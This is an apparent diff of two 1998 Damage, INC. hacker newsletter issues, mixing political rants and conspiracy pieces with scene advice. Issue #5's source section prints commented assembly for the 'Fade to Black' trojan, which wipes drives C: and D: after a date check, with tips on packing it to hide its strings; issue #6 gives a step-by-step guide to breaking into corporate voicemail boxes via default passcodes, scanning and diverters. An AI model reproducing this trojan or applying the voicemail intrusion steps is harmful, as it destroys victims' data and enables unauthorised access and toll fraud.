killing and the Robert Latimer case is only one example +of how spineless and hypocritical the government is. They are not an innocent +party just because they refused to act. In my opinion, if Robert Latimer is a +murderer, then the government is a liable accomplice. They can't have it both +ways. + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +REPORTS FROM THE FRONT - {REPORTS} + + + TEN TIPS + ON HOW TO LIVE IN THE NEW WORLD ORDER + By No. 405-33-1231 + +1. WATCH LOTS OF TELEVISION. Television pleasantly sublimates the primitive + human defense mechanism that can get you in trouble. + +2 AVOID TALKING ABOUT RELIGION OR POLITICS. No matter how innocuous your + speech may be, it could be misinterpreted and recorded in your Government + Personal Thought Dossier. + +3. IDENTIFY YOURSELF BY SOCIAL SECURITY NUMBER. Use of one's Christian or + Family name may be perceived as prideful individualism.......a Class B + Felony. + +4. PUBLICLY DISOWN FAMILY MEMBERS AND FRIENDS WHO HAVE BEEN COERCIVELY + ENROLLED IN RE-EDUCATION CENTERS. NWO Rules of Justice provide for + expeditious prosecution and conviction of Guilt by Association. + +5. VOTE CORRECTLY. The new FAX, PHONE, and MAIL BALLOTING SYSTEM is + carefully monitored by Elections Security Police (ESP) to identify + potential dissidents and enemies of the World. Avoid voting for mavericks + ----most of whom are sponsored and financed by the World Government + Opportunities Agency (WGOA) to bring malcontents out into the open. To + assure minimal risk when voting, cast your ballot for incumbents having + an A-1 rating by the ADL. + +6. ATTEND ALL POLITICALLY-CORRECT RALLIES AND PATRIOTIC FUNCTIONS IN YOUR + AREA. To obtain additional merit points, carry a sign which derides + viewpoints held by Constitutionalists, Patriot Groups, Fundamentalist + Christians and other bigots. + +7. MEMORIZE THE OPINIONS OF THE NWO LEADERS AND TELEVISION ANCHOR PERSONS. + Reiterate them as if they were your own during all social and business + conversations. + +8. ATHEISM IS THE SAFEST POLICY. But affiliations with State-Approved + religious organizations are permitted, and may be rich fields for + business contacts. + +9. BE AMONG THE FIRST IN YOUR NEIGHBORHOOD TO TURN IN YOUR SPORTING RIFLES + when the UNIVERSAL PLOWSHARES ACT goes into effect. You will be well-fed + under the terms of THE SOCIAL PAN-AGRICULTURE AND WILDLIFE PROTECTION + PROGRAM, hunting will be unnecessary, and possession of firearms of any + description after the effective date of UPA will constitute the capitol + offense of Aggravated Intent to Commit Homicide. + +10.WILLINGLY AND HAPPILY SURRENDER YOUR PARENTAL RIGHTS, participate + enthusiastically in the new OBE school program and realize the honor + associated with being a breeder and care taker of the first generation + to SERVE THE MASTERS in THE NEW WORLD ORDER. + +- If you find any interesting articles, or you've written one, send it in. If + it's quality, we'll publish it. ;) + + +SOURCE AND SCRIPTS - {SOURCE} + +The Fade to Black Trojan is featured this month in the spotlight. The assembly +source code is fully commented and should be fairly easy to understand. You +can modify the text strings, ansi screen etc. In fact, you must change them +if you want to use the trojan. This is basically how the trojan works. After +FTB.EXE is executed, it checks the date. Then it compares the day to 12. If +it's below the 12th of the month (1-11), it displays the ansi screen, final +message and exits to DOS. If it's the 12th of the month or higher, it will +activate. Upon activation, Fade to Black nukes Drive C: and D: if it exists. +Next, the tweeter beeps 5 times. You can change the number of drives and beeps +if you want. Lastly, the ansi screen is displayed. ANSI.SYS is not required +for ansi support. So, no matter what day it is executed on the ansi screen and +final message are displayed. The difference is if you run FTB.EXE on the 12th +of any month or later, it'll activate and do damage. I'm including the source +code so that you can read it and learn. It isn't intended to be used to nuke +people. I wrote it to teach people some assembly techniques (loops, displaying +an ansi screen, jumps, compares, using counters etc.) If people abuse it, then +I won't include any trojans in the Damage, INC. Newsletter again. You can test +this trojan safely by changing your system date, so that the day is less than +but not equal to 12. In other words, the day of the month must be 1-11 so that +it won't activate and nuke you. This trojan has been tested extensively on +several systems and only activates when the day is 12 or greater. +Disclaimer: If you assemble and nuke yourself with this trojan, it is your own +fault. You've been warned about what it does and the source code is commented. +You are responsible, not Damage, INC. + +------------------------------------------------------------------------------- +;[Fade to Black Trojan] (C) 1998 by BLACKENED ú Damage, INC. +;Use Pklite -e FTB.EXE to make the trojan smaller and hide the text strings. +;TASM /M FILENAME.ASM then TLINK FILENAME.OBJ. + +DAM_LENGTH EQU 4000 ;Size of the ANSI + .MODEL small ;We are a very small trojan + + .STACK 100h ;256 byte stack + + .DATA + +;Below is the final message that is displayed. + +Message DB 'Courtesy of Damage, INC.',13,10,'$' + +;Below is the message that's written to the hard drives. + +Damage DB 'The damage has been done. Fade to Black.',13,10 + DB 'You nuked yourself. This hard drive is done in.',13,10 + DB 'Now you can smile and fucking grin.',13,10 + +;Data storage area that holds the ansi screen that was saved in +;TheDraw's asm format. The ansi included is just an example. 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;Enable interrupts + +beeper: + mov cx,5 ;Number of beeps = 5 + mov ax,0E07h ;BIOS display char., BEL +beep_loop: + int 10h ;Using int 10,0E + loop beep_loop ;Beep until CX = 0 + +;Set up DS, SS and SP Registers. + +damstart: + mov dx,@data ;Move data into dx + mov ds,dx ;Move dx into ds + mov bx,ss ;Move ss into bx + sub bx,dx ;Subtract dx from bx + shl bx,1 ;Shift bx logical left by 1 + shl bx,1 ;Shift again + shl bx,1 ;and again. + shl bx,1 ; and Laughing! Haha. + cli ;Clear interrupts + mov ss,dx ;Move dx into ss + add sp,bx ;Add bx to sp and store in sp + sti ;Enable interrupts + + push es ;Push ES register to save it + mov ax,0B800h ;Color text video segment + mov es,ax ;Move ax into es + sub si,si ;Subtract SI from SI + mov si,offset DAM_DATA ;Pointer to the Data (ansi screen) + sub di,di ;Subtract DI from DI and you get DI. + mov cx,DAM_LENGTH ;CX is size of the screen + rep movsw ;Repeat move string word. Write to + ;video memory. + mov ah,02h ;Set cursor position + mov bh,0 ;Video page 0 + mov dx,1A00h ;Move cursor past bottom of screen + int 10h ;Hides the cursor +lup: mov ah,01h ;Get keyboard status + int 16h ;Are any keys being pressed? + jz lup ;Jump if zero. A simple loop. + mov ah,0 ;Waits for keypress and reads the + int 16h ;character using int 16,0 + +;Clears the screen + mov ah,7 ;Scroll down a window + mov al,0 ;Blank entire screen + mov bh,7 ;Attribute to use on blank line + mov ch,0 ;Row of upper left corner = 0 + mov cl,0 ;Column of upper left corner = 0 + mov dh,25 ;Row of lower right = 25 + mov dl,80 ;Column of lower right = 80 + int 10h ;Clears entire 80x25 screen. + + mov ah,02h ;Sets cursor position + mov bh,0 ;Video page 0 + mov dx,0 ;Puts the cursor back at the top. + int 10h ;Call Interrupt 10 + pop es ;Restore ES register + + mov ax,@data ;Move the data into ax + mov ds,ax ;Move ax into ds + mov ah,9 ;Print string function + mov dx,offset Message ;Pointer to the message + int 21h ;Call DOS to execute + + mov ax,4c00h ;DOS exit function w/exitcode = 0 + int 21h + + END start ;The end. +------------------------------------------------------------------------------- + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +"Visions in Fire" + +I live in the chaos and madness. I've learned to embrace my own insanity. +The world now mutates around me like molten lava flowing in a river of fire. +It cascades down the volcano and towards the ocean. Once it reaches those cool +waters it is transformed back into solid rock. The process is amazing and +visually stunning, but not nearly as important as the result, which is creation +itself. Being able to view the abstract, unique shapes as they form underneath +the surface of the waves, that are forever crashing into the jagged cliffs along +the expansive shoreline is an experience that makes a lasting impression. +However, living on the inside and looking out at everyone else is an even +greater one. Imagine the sight of people around you behaving like ants in a +colony. They exist, but they are trapped. The ants are controlled, mindless, +insignificant workers that live to serve their queen and "society". Their +world is a controlled one in which every little ant has their own tasks and +duties to perform. The ants do communicate with each other. It's usually +limited and mainly used for instructions that are work or food related. The +level of interaction between them might seem highly advanced, but in reality +it is just an elaborate illusion. The ants might seem like individual insects +at times, yet they cannot survive by themselves outside of the colony. They +completely rely on each other. It is not natural or normal for people to live +in the same way as ants. Human beings shouldn't behave like insects. + +I was filled with hate. The hate was powerful and it nearly consumed me. +Learning the cause of the hate was difficult. Accepting the reason for my +hate was challenging. Denouncing and leaving the confines of "society" was +actually easy. The change that it made was dramatic. Sometimes drastic +changes are necessary for ones survival. Positive change can lift your +spirit and take you into a new direction. The experiences gained from that +can be rewarding and fulfilling. The most immediate consequence of a life- +altering change is the expansion of your consciousness. You cannot make the +change knowing what the results will be. It's like seeing visions in fire. +The visions may give you insight into the future or they may be false and +misleading images. They can be deep and profound or shallow and fake. You +become enlightened when you realize that you aren't just another ant in the +colony. Discover your purpose. Find the individualism that you lost. Don't +be fooled by the messages that you are told to believe. Truth is concealed. +Lies are blatant. If you search you can uncover the hidden meaning. Abandon +the ants in the colony. Trust your own vision. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +CLOSING COMMENTS - {CLOSING} +BLACKENED's Humble Closing Comments: + +Damage, INC. is committed to releasing quality issues of the Damage, INC. +Newsletter in 1998. As you already know, it's a new year. We want to start +off this year by doing unique, innovative, original and creative projects. +The articles that were included in this January issue should demonstrate that +to you, and reflect our main goal. That is, we always strive for excellence. +In 1998, I want to spend more time programming and releasing Damage, INC. +Utilities. There are a few unfinished projects that I'd like to complete. +I also plan to work on Trixter! (the bbs software that I use with my board) +now that I have the source code. ;) Other than those projects, I would like +to "tutor" some h/p newbies... Plus, I'm going to reserve some time for myself +so that I don't lag behind in the h/p scene. + +On another note, we have many interesting ideas and topics in mind for future +issues of the Damage, INC. Newsletter. We're going to write more about the +paranormal, millennium, drugs etc. and share our opinions. If you have any +suggestions, contact us. For example, should we continue to include source +code? If so, should it be commented source for utilities, trojans or viruses? +What type of articles do you enjoy reading? What are the topics that interest +or affect you the most? + +We're always looking for Writers, Members and Distribution Sites. If you'd like +to apply to Damage, INC. and join a respected h/p group, then download a copy of +the Damage, INC. Application Generator. If you want any of our releases, they +are currently available on the following boards: + +...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only. +Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t. +Distraught Continuum - h/p/a/c/v/t, programming, etc. + +Any feedback or letters to the editor should be sent to BLACKENED in Email on +a Damage, INC. board near you. I can also be contacted via Echomail/Netmail +in several nets. + +- EOF diff --git a/textfiles.com/groups/DAMAGEINC/damage.006 b/textfiles.com/groups/DAMAGEINC/damage.006 new file mode 100644 index 00000000..165ca483 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/damage.006 @@ -0,0 +1,1461 @@ + + ÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÝ ÞÛÛÛÛÛÛ ÛÛÞÛÛÛÛÛÛÝÛÛÛÛÛÝ + ÍÍÍÞÛÛÛ ÛÛÛÍÞÛÛ ÛÛÛÍÞÛÛ ÛÛÝÞÛÝÞÛÛ ÛÛÛÍÞÛÛ ÍÍÍÍ ÛÛÜÜÜ ÍÍÍÍÍÞÛÝÛÛÝ ÞÛÝÞÛÛÝÍÍÍÍÍÍ +ÍÍÍÍÛÛÝ ÛÛÛÍÛÛÝÛÛÛÛÍÛÛÝÞÛÛÍÛÛÍÛÛÝÛÛÛÛÍÛÛÝÍßÛÛÝÞÛÝßßßÍÍÍÍÍÍÛÛÞÛÛ ÛÛ ÛÛÝ ÍÍÍÍÍ + ÞÛÛÛÛÛÛÛÛÞÛÛÛ ÛÛÛÞÛÛ ÛÛÝÞÛÝÞÛÛÛ ÛÛÛÞÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛ ÛÛÝÞÛÝÛÛÝ ÞÛÝÞÛÛÛÛÛÝÛÛÝ + "The name speaks for itself!" ÞÝ + + Presents the + + Damage, INC. Newsletter + + February 1998 Issue #6. + + "Freedom is not Free." + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + C O N T E N T S : + + +þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter. + +þ BIG BROTHER BASHING - Big Brother wants our DNA. + ¯ Search String: {BIG BROTHER} + +þ BLACKENED'S TIP OF THE MONTH - Tips for newbies on how to enter the h/p scene. + ¯ Search String: {BLACKENED} + +þ CONSPIRACIES AND COVERUPS - + ¯ Search String: {COVERUPS} + +þ CORRUPTION AND GREED - Forcing an old dog to learn new tricks. + ¯ Search String: {GREED} + +þ H/P INFORMATION AND NEWS - An Introduction to VMBs. + ¯ Search String: {NEWS} + +þ INTERVIEWS AND INTERROGATIONS - Fatal Vision's interrogation of Highlord. + ¯ Search String: {INTERVIEWS} + +þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter. + ¯ Search String: {LETTERS} + +þ OBJECTIVE OPINIONS - Calling the kettle black. + ¯ Search String: {OPINIONS} + +þ REPORTS FROM THE FRONT - Big Brother's watching, hearing told. + ¯ Search String: {REPORTS} + +þ SOURCE AND SCRIPTS - Rename Directory Utility assembly source code. + ¯ Search String: {SOURCE} + +þ THE JOURNALIST'S TOP TEN LIST - New movements within the industry. + ¯ Search String: {TOP TEN} + +þ THOUGHTS, POEMS AND CREATIVE WRITING - Creative Thoughts by The Journalist. + ¯ Search String: {WRITING} + +þ CLOSING COMMENTS - BLACKENED's Intense Closing Comments. + ¯ Search String: {CLOSING} + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + +INTRODUCTION: Freedom is not free. We are in search of truth and freedom. + The truth is out there. Damage, INC. intends to find it and + share our findings with you. As the new millennium rapidly + approaches, many controversial topics are being brought to the + forefront. The Damage, INC. Newsletter will openly discuss + topics such as Cloning, the Apocalypse, the New World Order + etc. We will voice our opinions strongly and keep you informed + about the major events that occur. My own prediction is that + in the new era, an information explosion is inevitable. We are + literally entering a Brave New World, in which there will be + many great changes. In order to be prepared, you must first + become informed. The word "ignorance" is derived from the word + "ignore". To blindly ignore the changes that are going to take + place would be ignorant. If you wish to perceive that as being + a warning, so be it. + + Privacy is also a very important issue. Big Brother is running + rampant and gaining strength. They seek control and yet cannot + control themselves. They're already too powerful in my opinion. + However, Big Brother can be stopped. Information can be used + against them and dedicated freedom fighters can still attack + them with intelligence. Bashing Big Brother and revealing their + corrupt ways is one of the most satisfying endeavours for me. + I enjoy revealing their ways and teaching people how to be + anonymous and retain their privacy. That's especially important + during these twisted times, when private is considered to be + public information. Of course, the result is that Big Brother + is thriving and loving every fucking minute of it. + + The main message that I want to convey in this February issue of + the Damage, INC. Newsletter is that freedom is not free. Freedom + isn't just given, it has to be fought for. Free your mind and + your body will follow. This world can use more free thinkers. + + +BIG BROTHER BASHING - {BIG BROTHER} +Big Brother wants our DNA. + +To Big Brother, DNA (deoxyribonucleic acid) is much more than a scientific +wonder, the beginning of all life on Earth... it is one more step towards +total control. When Big Brother obtains the DNA pattern of an individual, he +has the blueprints to that individual's body. Big Brother has been working hard +to bring human DNA banks into existence. Big Bro's goal is to store the DNA +patterns of every person in "society" via blood samples, tissue samples, hair +follicles, etc. so it can be used against "dissidents." + +When Big Brother can claim ownership of a portion of a human being, it only +proves how much we have truly lost. How would you like it if you weren't +able to obtain a loan, or health insurance because Big Brother analyzed your DNA +sample, and found that you are prone to a disease? Do you feel it would be +fair for the "genetically superior" to have an unfair advantage when it comes +to employment? These scenarios are the future. How about the police force +taking DNA samples from the bank and planting them at the scene of a crime? +Again, another plausible scenario since desperate cops can perform corruptly +when their backs are against the wall. If they assume a suspect is guilty, and +have tissue samples within their reach, why wouldn't they use them to prove +their case? + +Many states have already created DNA banks of all prisoners within their +particular "department of corrections." As expected, the cops are extremely +excited over the whole idea of DNA banks. To quote a cop, "This is something +that is more unique than fingerprints," said Nebraska State Patrol Capt. Kevin +Stuckenholtz. "You put the sample in a computer data bank, and then if a crime +is committed years later and there is some forensic evidence that they are able +to collect, police can cross check to see if they have a perpetrator." This is +another example how Big Brother uses the threat of crime to influence zombies +into willingly and happily support every law and policy that destroys our +civil rights and privacy. Those that wish not to give Big Brother DNA samples +are treated like convicts. + +During 1997, two American marines were court-martialled after refusing to +"donate" DNA samples to the Pentagon's DNA bank. Corporal Joseph Vlacovsky and +Lance Corporal John Mayfield filed a class-action suit to force the Pentagon to +stop this practice, because it is nothing more than unlawful search and seizure. + +The Pentagon responded by saying that they only want the DNA of every present +and former employee in order to create a "DNA dog tag." For example, if a +soldier is blown apart in combat, the Pentagon would obtain a DNA sample from +the remains and compare it to the samples in their DNA bank. What disturbs +Vlacovsky and Mayfield, and the Council of Responsible Genetics, is the +potential for misuse of the DNA information. In response to their concerns, the +Pentagon has promised to destroy a "donors'" DNA information, tissue samples, +etc., when that person leaves the service. However, there are absolutely *no* +laws requiring them to do so. Haha... even if there were, it would be extremely +naive to actually think that the Pentagon would *destroy* DNA information. +After all, the Pentagon allows the FBI and other American law enforcement +agencies access to all of the DNA information they've taken with (or without in +my opinion) a court order. + +The Canadian government has also been pushing for a national DNA bank. It has +been proposed that all Canadians should be forced to submit tissue and blood +samples to this bank. Big Brother is definitely wasting no time. For some +reason, talk of this "mandatory" government DNA bank is on the backburner. In +November 1997, a private member's bill was introduced to create a national DNA +bank to house DNA information from all convicts in Canada. + +A extra bonus for Big Brother to create a DNA bank database of the entire +citizenry is greed. Big Brother could make a fortune selling your DNA +information to foreign laboratories, big business, etc. It's true. In one +example, blood samples drawn from asthmatic inhabitants of the remote South +Atlantic island of Tristan da Cunha, led to asthma treatment technologies which +were sold to German medical monopoly Boehringer Ingelheim for $70 million. Do +you think the islanders were paid any of the $70 million for the blood samples +they provided? I highly doubt it. Genetic laboratories in the United States +and Japan have been patenting DNA patterns for decades! This even more proof +that Big Brother and big business see us all as commodities to be exploited and +controlled. The precedent is if you give, or are forced to give, a blood or +tissue sample, you lose all rights to it. Big Brother can literally "have +a piece of you" if they obtain a sample. + +I hope that you take what I have written in this article seriously, and form +your own opinion. It is horrid enough that Big Brother is attempting to take +our civil rights away so they can control us. Now Big Brother desires to rape +us of our blood and bodily tissue, and our right to keep our own genetic make-up +private. Especially if something can be used against a person by Big Brother in +an attempt to control that person. And if a DNA sample is unique in some way, +Big Brother and his scientists are the ones that benefit, not the person that +provided it. We all have a decision to make. Do we submit our mind, body, and +soul to Big Brother, or do we fight for our privacy and rights? + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Tips for newbies on how to enter the h/p scene: + +The main reason that I decided to write about how to enter the h/p scene is +because the majority of the newbies in 519 act like complete lamers... and then +they wonder why they're disrespected, mocked, laughed at and humiliated. The +newbies try to pretend to know all about hacking (including hacking ISPs, +web sites etc.), phreaking (including stuff like scanning, PBXs, extenders, +diverters, ANI, CNA, loops, ringbacks, beige boxing, red boxing etc.) The list +is almost endless. Obviously, they can't fool us into thinking they have h/p +knowledge by spewing bullshit and lying. One newbie in particular (ahem, +Highlord) doesn't seem to realize that extenders can be used for voice and +data... and talks about them as though they are just normal carriers (that you +connect to via modem)... that are just local diverters. Hahaha. Highlord also +claims to "program viruses in hex". Other newbies are totally confused about +ANI. By far the most hilarious are the newbies that talk about using PBXs, yet +they don't even know what a PBX is if you question them. Or the newbies that +claim to scan or hack and they don't know shit about ToneLoc or unix. I'm not +sure if they're trying to impress the well known, experienced users in the h/p +scene or not. At any rate, it never works and they always end up looking like +lame fools. + +Don't expect to be respected if you call learning "reading a text file" and +following the instructions. You also won't gain any respect by bashing the +knowledgable hackers and phreaks. And you won't get "instant respect" if you +start a wannabe "h/p group" or "h/p board"... when you don't know anything. +Don't upload trojans to boards and think that's hacking or think that it means +you're a hacker. Don't think you're a phreak because you've used an extender +or know what PBX stands for because you don't know what phreaking means. You +can't be the Sysop of a real h/p board if you're a newbie that knows less than +your users. What will you do if they ask you a question that relates to h/p? +Do you think h/pers will actually call a wannabe board that's run by a newbie? +No, of course not. Don't setup a board until you know something about what you +want it to support. Basically, if you aren't a hacker or a phreak and not in +the h/p scene, don't setup a lame board and try to advertise it as being +"h/p/a/c/v/t". If you do that, don't be too surprised if nobody that's in the +h/p scene calls and supports it. ;) And don't be shocked if it's constantly +being bashed and named the lamest board in the area code. + +Now that I've covered some of the things that you *shouldn't* do (unless of +course your goal is to be the biggest lamer in your area code)... I will now +explain how newbies should enter the h/p scene. First, call the respected h/p +boards in your local area. Ask for access politely and post an intelligent +new user application. Don't kiss the Sysop's ass or attempt to fool them into +thinking you're not a newbie. If you chat with them, let them know that you're +genuinely interested in learning more about h/p... and want to become part of +the local h/p scene. Ask them for advice, but don't ask them any questions +like "How do I hack? How do I....." If you overload them with stupid +questions, they might just become annoyed or pissed off at you. Afterall, +nobody likes to answer a million fucking questions...muchless ones that a newbie +asks them. Thus, don't expect to get direct answers about everything h/p +related that you've ever wanted to know. It isn't that easy. It takes time. +You have to learn many things on your own. Download some text files and some +utilities (like ToneLoc etc.) that you'll need. Read through the text files. +Read through the ToneLoc docs. Read every issue of the Damage, INC. Newsletter. +Start scanning some local exchanges. Start learning about tones. You might +be surprised at what you can find and learn about. ;) Once you have learned +about a few things, don't start bragging or think that you know everything... +Don't get a big ego or develop an attitude. If you've only been learning about +h/p for a few weeks or months, then you are still considered to be a newbie. +Also, don't apply to all of the local h/p groups in your area. You still lack +experience, which is something that's very important and cannot be faked. Once +you've done a few things (found some PBXs, extenders, diverters, VMBs etc.) +and hacked some codes (like passcodes etc.)... and have some experience using +ToneLoc, PBXs, extenders, diverters etc. then by all means apply to some h/p +groups that you're interested in joining. Or if joining a h/p group doesn't +interest you, that's fine. Obviously, you can still associate with hackers and +phreaks, exchange ideas and information... and learn from them and any advice +they might decide to give you. ;) Once you've learned the h/p basics, you +will find that people are more willing to give you advice and help. As for +gaining their trust, respect and becoming accepted as part of the h/p scene, +that is something you will have to figure out on your own. The only tip I can +give is that you'll have to earn their trust and respect. It's not something +that can be instantly gained. You'll have to prove that you are trustworthy, +have some knowledge, respect others that are in the h/p scene (especially those +that were in involved in h/p long before you knew what it was) etc. You have +to show that by your actions and words. If you aren't dedicated and active in +the h/p scene, it'll be evident to them and very noticeable. If you do nothing +but constantly ask questions, that shows that you aren't reading, learning or +doing anything to progress. Thus, take the initiative to learn as much as you +can and become self-taught. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +CORRUPTION AND GREED - {GREED} +Forcing an old dog to learn new tricks: + + Microsoft Corp's long monopolistic reign over the desktop/business +PC market may have reached an inevitable conclusion. Crucial +marketing decisions made by the greedy company have, and still are +being scrutinized by corporate and government groups, working towards +learning the extent to which Microsoft violated anti-competitive +laws in order to increase their profits. + Anti-competitive business practices, such as forcing users of the +soon-to-be-released Windows 98 to use their Internet Explorer 4.0 have +alerted high-end developers, and low-end users across the globe to what +most of us knew all along - Microsoft is a bully. In fact, the United +States Department of Justice has agreed with us on this one; +finding Microsoft guilty of violating anti-competitive laws in the +recent IE 4.0 dispute. As a result, Microsoft now has to ship over 3 +versions of the anticipated 'Windows 98' (including one 'IE 4.0 Free'). + The byte does not stop here. In an attempt to gain a monopoly of +Internet-related applications, Microsoft had also violated universal +agreements on the compatibility of JAVA applets across various +platforms. What this means is that Microsoft wanted PCs connected +to the web (running Win95/98) to run JAVAScript apps coded +only by other Microsoft developers. This decision also created +an uproar in the computing industry, leading to the development of +many 'Anti-Microsoft' groups. + Microsoft's competition seems to have finally realized the power they +hold when they join together to fight the greed. Vendors such as +Sun Microsystems have jumped in response to these events, and are starting +to release low-end workstations designed to compete specifically with +NT 4.0 systems. (Codename: DARWIN). + JAVA has played an important role in all this; serving as symbol +against OS-Specific JAVA Code. Users and developers alike have warmed +to the idea of versatile code, full compatibility issues, and +multi-platform flexibility - seen in the increased interest in alternative +Operating Systems such as Linux, and x86 based SunOS (Desktop UNIX). + It appears Microsoft has made some fatal moves. + Microsoft assumed they could maintain their narrow-minded, +short-sighted business practices, and still realize great profits. +How ignorant they were though, of the forces of the universe always +at work. The universe thrives on change, and the longer something +remains static, the more dramatic its termination. Just ask the +dinosaurs. + +Written by The Journalist ú Damage, INC. (C)opyright 1998. + + +H/P INFORMATION AND NEWS - {NEWS} +An Introduction to VMBs: + +This article contains some useful information on VMBs (Voice Mail Boxes) for +beginners and advanced phreaks. Actually, it's an introduction to VMBs that +is intended for newbies to read. :) + +First, not all VMB systems are the same. Some are local, others are 1-800s. +There are several types of VMBs and each has it's own unique features, defaults +etc. I'm not going to describe all of them or give any "specific" information +on how to hack them. However, I will give a brief summary of the basics of +each commonly used VMB system. If you aren't familiar with voice mail and have +not had the priviledge of using it before, then you'll probably find this +article interesting. Otherwise, it might seem a little boring if you already +know all about VMBs, use them regularly and have your own personal box etc. In +that case, just skip this section and read the next article. + +Most text files and articles on VMBs lack critical information and just say "You +really need a 1-800 VMB. Buy one from a phreak or scan 1-800s to find one using +ToneLoc, and then try to hack it using default passcodes." Of course, +Damage, INC. has much higher standards and would never write or release anything +that lacks the necessary content and quality that our readers have grown to +expect. :) + +At this point, you might be asking "Why do I need a 1-800 VMB?" though. The +answer is that they are useful for staying in contact with people, contacting +new people (like phreaks from other area codes), trading codes and information, +and learning. Some VMBs also allow you to dial out from them. Plus, they're +free to call and most 1-800 VMBs are accessible throughout North America (some +are limited to Canada). And, you don't have to give out your voice number +anymore once you have your own VMB box. As for buying a VMB from a h/per in +your area code, you shouldn't begin by "buying codes". If you get into the +habit of doing that, you might start relying on everyone else in the h/p scene +to do everything for you. That isn't a good way to enter the h/p scene or learn +anything. The main point is, you learn absolutely nothing by purchasing a VMB +from someone else. In other words, you won't even be used to or know about the +VMB that you paid for. You'd have to spend some time becoming familiar with the +system and learning, so why not do that first before you take the easy way out +by paying someone else cash to do the work for you? + +Okay, now you want to know how to get started scanning and hacking VMBs. There +are several ways that you can begin. You could use ToneLoc (or another scanner) +and scan 1-800s trying to find a VMB. Or, you could talk to some phreaks in +your area code and they might point you in the right direction (ie. they might +tell you to try scanning in 1-800-999-XXXX as an example). Another option is +to dial 10 random 1-800 numbers a day, a few times per week for a period of a +couple of months and make a list. That method is fairly safe, and it should +ensure that you find some 1-800 VMBs, PBXs, ANIs, extenders etc. Then you can +investigate the cool 1-800s and forget about the rest. :) Of course, you +should only try to hack the Virgin VMB systems. (VMBs that haven't been hacked +already by other phreaks). Hack safely and always use a good diverter. You +might also find some VMB systems by watching television or looking at products +(ie. Customer Support numbers, or just VMBs setup for their employees to use). + +Once you've found a Virgin VMB system, identify what type of VMB system it is +before you attempt to start scanning. (Read the section on identifying VMB +systems that's later in this article). Scanning just means, searching for +boxes that you can hack. Basically, you'll want to find a box that isn't +already being used by someone. That is, unless you just want to listen to +other people's messages and don't want your own box. + +I'm not going to take the time to explain guest boxes, dialing out etc. You +will have to figure out how to use the more advanced features of VMBs on your +own. As for hacking the VMB, this is a generic method. Call the VMB and when +you hear the automated message asking for a box number, try entering 999, 999# +or #999. (With some VMBs you might have to enter a 0, 9, #, * or a different +number first to access it). After you enter 999, there are a number of possible +results. It might tell you the Box owner's name, report that you've entered +an invalid box number, or ask for a password/passcode. If it says "MailBox XXX" +or "Please leave a message" or just prompts you for a password, then more than +likely you've found a nice, hackable, unused, virgin box. For the passcode, try +using some defaults. If the Box Number (BN) is 999 then try entering: + + BN = 999 + 1+BN = 1999 + 0+BN = 0999 + BN+0 = 9990 + BN-1 = 998 + +...or the BN backwards. BN 123 would be 321 etc. Some lamers don't even use +a passcode at all or they leave it as default. Hahaha. However, that's quickly +changing now that people are discovering that hackers and phreaks exist. + +There are some other defaults as well, or common ones such as 000, 111 for 3 +digit passcodes, 0000, 1111 etc. for 4 digits. The default passcode might also +be the same for every box. It could also be the last 4 digits of the actual +VMB number. Try the BN first, and look for boxes that have a generic greeting +message. Once you manage to get into a box, you can use it to start scanning. +That way, you can scan for boxes (while logged in) without getting disconnected. +The way to start scanning varies with each type of VMB system. For ASPEN VMB +systems, you press 3 from the main menu. Then you enter in a box number. +Just keep scanning boxes and writing down the ones that you think might be +hackable. :) You don't have to scan randomly either. Continue scanning until +you reach the lowest box number. In other words, you can go from box number +999 to 000. You should know what the default box number system is for the VMB +at this point. Every hackable box should have the same default password. That +is what makes hacking them so easy. So, if the box that you're using to scan +with used BN as the default passcode, then every open, hackable box will use BN +as well. That means if box number 111 is hackable, the default passcode is the +BN... which is 111. :) You should be able to get a nice list of hackable +boxes, and get into some of them easily enough. Does this seem difficult to +you? If it does, you're a complete moron and should stick to calling lame warez +boards. Hehe. Here's a tip for you. If you are hand scanning (looking for +VMBs by manually dialing them with your phone) or hand hacking, store the VMB +number into memory dial. Or you can write a Telix script for hacking boxes. + +Why only try to hack Virgin Systems? Why take an unused or abandoned box? +Well, they last the longest for one thing. They don't attract suspicion and +the sys admin isn't going to be alerted by someone that paid for a box when +their passcode is changed. Plus, you won't be fucking up any other phreaks if +it's a virgin VMB system. Another thing to remember is, the messages in your +box (once you hack one) aren't as secure as you think...even after you've +changed the passcode and greeting. So, don't use any personal information and +avoid getting busted. Take the unused/virgin boxes (watch them to see how +often they're used/not used) and don't fuck with every box on the system. :) + + +Identifying different types of VMB systems: + +ASPEN systems - This is considered the best VMB system, and it has many useful +features. You are allowed to have two greeting messages, create guest accounts, +leave urgent or regular messages, and much more. ASPENs are easy to recognize +because of the extremely annoying female voice. When you dial one up, you might +have to enter * to get into the system, or you might not. Now press # to login. +The system will prompt you for your mailbox number. After three invalid mailbox +number tries, you will be disconnected. If you enter a valid box number, you +will be prompted for the passcode. It is usually the box number or the box +number + 0. Once you're logged in, you can press 3 from the main menu to scan +for other boxes without being disconnected. Always login first. + +CINDY systems - This is another nice system. It will start by saying "Good +morning/afternoon/evening. Please enter the mailbox number you 